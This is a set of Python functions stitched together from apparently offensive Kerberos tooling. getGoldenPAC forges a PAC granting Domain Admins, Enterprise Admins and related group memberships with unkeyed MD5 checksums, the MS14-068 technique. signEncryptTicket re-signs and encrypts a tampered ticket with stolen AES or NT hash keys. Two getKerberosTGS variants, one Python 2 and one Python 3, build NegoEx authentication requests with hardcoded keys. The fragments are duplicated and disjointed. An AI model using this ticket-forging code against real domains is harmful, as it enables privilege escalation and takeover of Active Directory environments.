def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata[ 'UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata[ 'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'), ) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print('\n') validationInfoBlob = validationInfo.getData( ) + validationInfo.getDataReferents() validationInfoAlignment = '\x00' * (( (len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode( sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = str(pacClientInfo) pacClientInfoAlignment = '\x00' * (( (len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = '\x00' * 16 serverChecksumBlob = str(serverChecksum) serverChecksumAlignment = '\x00' * (( (len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = '\x00' * 16 privSvrChecksumBlob = str(privSvrChecksum) privSvrChecksumAlignment = '\x00' * (( (len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = str(validationInfoIB) + str(pacClientInfoIB) + str( serverChecksumIB) + str( privSvrChecksumIB ) + validationInfoBlob + validationInfoAlignment + str( pacClientInfo) + pacClientInfoAlignment buffersTail = str(serverChecksum) + serverChecksumAlignment + str( privSvrChecksum) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = str(pacType) # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) # If you want to do MD4, ucomment this #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() # If you want to do MD5, ucomment this serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() privSvrChecksum['Signature'] = MD5.new( serverChecksum['Signature']).digest() buffersTail = str(serverChecksum) + serverChecksumAlignment + str( privSvrChecksum) + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = None authorizationData[0]['ad-type'] = int( constants.AuthorizationDataType.AD_WIN2K_PAC.value) authorizationData[0]['ad-data'] = str(pacType) return encoder.encode(authorizationData)
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer): a = (minikerberos.protocol.asn1_structs.AS_REP(tgtResponse['Kerberos'])) decodedTGT = decoder.decode(a.dump(), asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() # should be -128 name-type ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.KDCOptions.forwarded.value) apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = decodedTGT['crealm'].asOctets() clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = 2 #now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 # GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG chkField['Flags'] = 16418 subKey = bytes.fromhex( 'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3') checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value] keyServer = Key(Enctype.AES256, subKey) kerbFinished = {} kerbFinished['gss-mic'] = { 'cksumtype': 16, 'checksum': checksumtype.checksum(keyServer, 41, bytes.fromhex(gssAPIChecksumBuffer)) } kerbFinished = KRB_FINISHED(kerbFinished) authenticator['cksum']['checksum'] = chkField.getData() + bytes.fromhex( GenerateExtensions(kerbFinished.dump())) authenticator['subkey']['keytype'] = 18 authenticator['subkey']['keyvalue'] = subKey authenticator['seq-number'] = 682437742 tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY() tokenIntegrity.Flags = 1 tokenIntegrity.MachineID = bytes.fromhex( '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde') tokenIntegrity.TokenIL = int('2000', 16) RESTRICTION_ENTRY = [{ 'restriction-type': 0, 'restriction': bytes.fromhex(Pack(tokenIntegrity)) }] KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData() KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141 KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0][ 'ad-data'] = KERB_AD_RESTRICTION_ENTRYS(RESTRICTION_ENTRY).dump() # AD_IF_RELEVANT authenticator['authorization-data'][0]['ad-type'] = 1 authenticator['authorization-data'][0]['ad-data'] = encoder.encode( KERB_AUTH_DATA_TOKEN_RESTRICTIONS) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) ## should be key usage 11 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator apReqNegoEx = {} apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7' apReqNegoEx['null'] = core.Boolean(True, contents=b'') apReqNegoEx['Kerberos'] = minikerberos.protocol.asn1_structs.AP_REQ.load( encoder.encode(apReq)) apReqNegoEx = SPNEGO_PKINIT_AP_REQ(apReqNegoEx) data = (apReqNegoEx.dump().hex()) return data
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] validationInfoAlignment = b'\x00' * (( (len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] pacClientInfoAlignment = b'\x00' * (( (len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] serverChecksumAlignment = b'\x00' * (( (len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] privSvrChecksumAlignment = b'\x00' * (( (len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData( ) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() checkSumFunctionServer = _checksum_table[ serverChecksum['SignatureType']] if serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) checkSumFunctionPriv = _checksum_table[ privSvrChecksum['SignatureType']] if privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) serverChecksum['Signature'] = checkSumFunctionServer.checksum( keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) logging.info('\tPAC_SERVER_CHECKSUM') privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum( keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) logging.info('\tPAC_PRIVSVR_CHECKSUM') buffersTail = serverChecksum.getData( ) + serverChecksumAlignment + privSvrChecksum.getData( ) + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = noValue authorizationData[0][ 'ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value authorizationData[0]['ad-data'] = pacType.getData() authorizationData = encoder.encode(authorizationData) encTicketPart['authorization-data'][0]['ad-data'] = authorizationData if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) print('\n') encodedEncTicketPart = encoder.encode(encTicketPart) cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.rc4_hmac.value: key = Key(cipher.enctype, unhexlify(self.__options.nthash)) else: raise Exception('Unsupported enctype 0x%x' % cipher.enctype) # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes TGS session # key or application session key), encrypted with the # service key (Section 5.3) logging.info('\tEncTicketPart') cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) kdcRep['ticket']['enc-part']['cipher'] = cipherText kdcRep['ticket']['enc-part']['kvno'] = 2 # Lastly.. we have to encrypt the kdcRep['enc-part'] part # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) encodedEncASRepPart = encoder.encode(encASorTGSRepPart) if self.__domain == self.__server: # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncASRepPart') cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None) else: # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncTGSRepPart') cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None) kdcRep['enc-part']['cipher'] = cipherText kdcRep['enc-part']['etype'] = cipher.enctype kdcRep['enc-part']['kvno'] = 1 if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) print('\n') return encoder.encode(kdcRep), cipher, sessionKey
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer): apReqNegoEx = SPNEGO_PKINIT() apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7' apReqNegoEx['null'] = univ.Boolean(True) # Extract the ticket from the TGT ticket = Ticket() # should be -128 name-type ticket.from_asn1(tgtResponse['ticket']) apReqNegoEx['Kerberos']['ApReq']['pvno'] = 5 apReqNegoEx['Kerberos']['ApReq']['msg-type'] = int( constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.KDCOptions.forwarded.value) apReqNegoEx['Kerberos']['ApReq']['ap-options'] = constants.encodeFlags( opts) seq_set(apReqNegoEx['Kerberos']['ApReq'], 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = tgtResponse['crealm'].asOctets() clientName = PrincipalModified() clientName.from_asn1(tgtResponse, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = 2 #now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 # GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG chkField['Flags'] = 16418 subKey = 'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3'.decode( 'hex') checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value] keyServer = Key(Enctype.AES256, subKey) kerbFinished = KRB_FINISHED() kerbFinished['gss-mic']['cksumtype'] = 16 kerbFinished['gss-mic']['checksum'] = checksumtype.checksum( keyServer, 41, gssAPIChecksumBuffer.decode('hex')) authenticator['cksum']['checksum'] = chkField.getData() + ( GenerateExtensions( encoder.encode(kerbFinished).encode('hex'))).decode('hex') authenticator['subkey']['keytype'] = 18 authenticator['subkey']['keyvalue'] = subKey authenticator['seq-number'] = 682437742 tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY() tokenIntegrity.Flags = 1 tokenIntegrity.MachineID = '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde'.decode( 'hex') tokenIntegrity.TokenIL = int('2000', 16) RESTRICTION_ENTRY = KERB_AD_RESTRICTION_ENTRYS() RESTRICTION_ENTRY[0]['restriction-type'] = 0 # const RESTRICTION_ENTRY[0]['restriction'] = Pack(tokenIntegrity).decode('hex') KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData() KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141 KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-data'] = encoder.encode( RESTRICTION_ENTRY) # AD_IF_RELEVANT authenticator['authorization-data'][0]['ad-type'] = 1 authenticator['authorization-data'][0]['ad-data'] = encoder.encode( KERB_AUTH_DATA_TOKEN_RESTRICTIONS) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) ## should be key usage 11 encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReqNegoEx['Kerberos']['ApReq']['authenticator']['etype'] = cipher.enctype apReqNegoEx['Kerberos']['ApReq']['authenticator'][ 'cipher'] = encryptedEncodedAuthenticator data = encoder.encode(apReqNegoEx).encode('hex') data = data[:4] + "{0:0{1}x}".format(int(data[4:8], 16) - 1, 4) + data[8:26] + '00' + data[30:] return data